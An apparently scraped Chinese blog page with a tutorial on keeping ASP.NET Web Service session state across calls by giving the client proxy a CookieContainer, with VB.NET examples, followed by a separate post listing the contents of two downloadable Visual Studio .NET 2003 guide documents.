    如果你是用Microsoft Visual Studio.net来开发ASP.net Web Service应用程序,那么默认的调试方法就是打开IE访问你的.asmx文件。通常,系统将提供一个可以调用你的Web方法的友好的界面,这是一个调试你的Web Service代码的很好的途径。如果你已经将Web方法的EnableSession选项设置为true,它被非常漂亮地支持,甚至如果你打开了无cookie的Session支持,客户端浏览器也可以完美地完成这项工作,你的Session对象将如你所愿地工作。

    然而,大多数的Web Service请求不是来自浏览器,而是来自应用程序中的Web引用。我们如何使用.net框架的“添加Web引用”的特性呢?让我们来看一看。

    添加Web引用的问题

    我将使用我们前面看到的代码段来创建一个简单的XML Web Service。记起来了吧?这个Web方法被称作IncrementSessionCounter,它仅仅是简单地把一个整数存储在HttpSessionState对象中,然后每次调用则将它加1,并且返回当前值。从客户端浏览器我们可以看到这个数字的值随着调用次数的增加而增加。
    下一步,我创建了一个简单的WinForm应用程序,并且将上述的Web Service添加到Web引用中。下面就是调用我的Web Service的代码:

    ' 这里并没有与Session打交道
    Private Sub Button1_Click(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) Handles Button1.Click
    Dim proxy As New localhost.Service1()
    Dim ret As Integer
    ret = proxy.IncrementSessionCounter()
    Label1.Text = "Result: " & CStr(ret)
    End Sub

    当我第一次调用Web Service时,一切正常,Web方法返回1,这就是那个Session变量的应有的初始值。现在我点击Button1来再次调用这个Web方法,我希望看到的返回值是2。可惜的是,无论我点击多少次Button1,返回值一直都是1。

    你也许会怀疑原因就是我每次都创建了一个新的proxy类的实例去调用Web方法,因此每次我点击按钮,都会丢失上一次调用时的cookie。不幸的是,即使你将proxy类的初始化代码移到窗体的构造函数中,然后对每次Web方法调用使用同一个proxy类的实例,你还是不可能看到返回值有增加的迹象。


    问题在于cookie。Web Service代码并未从调用请求中发现有效的会话ID,因此它每次被调用都创建一个全新的HttpSessionState对象,并且返回它的初始值1。因为作为客户端的proxy类是从类System.Web.Service.Protocols.SoapHttpClientProtocol继承的,它不包含System.Net.CookieContainer类的实例,因此,没有地方来存放返回的cookie。为了解决这个问题,我对代码做了如下一些修改:

    ' 使用了ASP.NET的session
    ' 但是并不是无Cookie的session.
    Private Cookies As System.Net.CookieContainer

    Private Sub Button1_Click(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) Handles Button1.Click
    Dim proxy As New localhost.Service1()
    Dim ret As Integer
    ' 为proxy类设置cookie容器
    If Cookies Is Nothing Then
    Cookies = New System.Net.CookieContainer()
    End If
    proxy.CookieContainer = Cookies
    ret = proxy.IncrementSessionCounter()
    Label1.Text = "Result: " & CStr(ret)
    End Sub

    现在代码工作正常了!每点击一次Button1,我都可以看到返回值增加1。注意到我并不是在函数中声明变量Cookies的,它是窗体类的一个私有成员,因为如果希望每次都返回同一个会话ID给服务器的话,就必须在每次请求中使用CookieContainer类的同一个实例。这就解释了为什么SoapHttpClientProtocol类默认不自动地设置的cookie容器。正应为此,你可以在多个SoapHttpClientProtocol类的实例中共享一个cookie容器,而不是为其每个实例自动地创建一个新的cookie容器。

    无cookie的Session

    从Web Service的开发者的角度来看,你可以想到相当多的人在试图使用你的Web服务时忘记在客户端代理类中添加Cookie容器。聪明的开发者或许灵光一闪,就会发现无cookie的Session应该可以出色地解决这个问题。如果将web.config文件中sessionState元素的cookieless参数设置为“true”,你将会发现,通过浏览器界面调用Web方法时,session变量工作正常,但是如果你在Visual Studio.net中通过“添加Web引用”来调用它时,依然存在着一些问题。

    4월 6일

    [下载] VS2003开发指南文档----中文

    下载链接来自微软高级应用开发俱乐部知识库:
    1.VS 2003 Guide.doc

    目录:
    I.   执行概述   7 
    简介    9
    设计目标   11
    Visual Studio .NET 2003 的新增功能   13
    II.   评估标准   15
    III.   Microsoft 应用程序平台和工具   19
    可靠而强大的平台   23
    Windows 服务器系列   23
    .NET Framework   24
    Microsoft 企业级服务器   28
    今天和明天的连接平台   35
    智能客户端开发   35
    基于 Web 的开发   37
    基于设备的开发   40
    XML Web services 开发   44
    基于服务器的开发   50
    数据驱动的开发   53
    完整的企业级生产周期的支持   54
    提高开发效率   63
    灵活的开发环境   63
    集成的帮助和支持   67
    丰富的语言调色板   70
    从早期版本升级   85
    IV.   VISUAL STUDIO .NET 体系   87
    与 Visual Studio .NET 集成   91
    开放的工具平台   91
    Visual Studio .NET 集成计划   93
    .NET 组件构建商计划   94
    开发人员社区和资源   95
    开发人员社区   95
    编程人员资源   96
    V.   评估选项   99
    VI.   Visual Studio .NET 产品发展规划图   103
    开始:Visual Studio 97   105
    支持平台:Visual Studio 6.0   105
    XML 革命:Visual Studio .NET   105
    下一步是什么?Visual Studio for Yukon   106
    VII.   总结   109
    VIII.   Microsoft .NET 客户成功案例   113
    IX.   .NET 合作伙伴列表   116
    VSIP 合作伙伴列表   120
    “.NET 组件制作商”计划合作伙伴   122
    X.   指南   124
    XI.   附录   126
    Visual Studio .NET 版本   128
    Microsoft 开发人员网络 (MSDN) 订阅   130

    2.SmartDevice.doc

    目录   3
    执行概述   5
    简介   7
    设计目标   10
    VISUAL STUDIO .NET   13
    智能设备可编程技术   17
    .NET FRAMEWORK 精简版   19
    核心框架服务   22
    用户界面   25
    数据访问与集成   28
    SQL Server Windows CE Edition   30
    通信   31
    特定于设备的类   33
    产品演示   35
    构建“Hello World”   37
    案例分析   45
    XEROX   47
    Northrop Grumman   49
    Tesco   51
    Numeric Computer Systems   54
    Accompany-ME   57
    FlyteComm   60
    GeoVector   63
    Intrinsyc   67
    MakeLogic   69
    Vertigo Software   72
    总结   75
    总结   77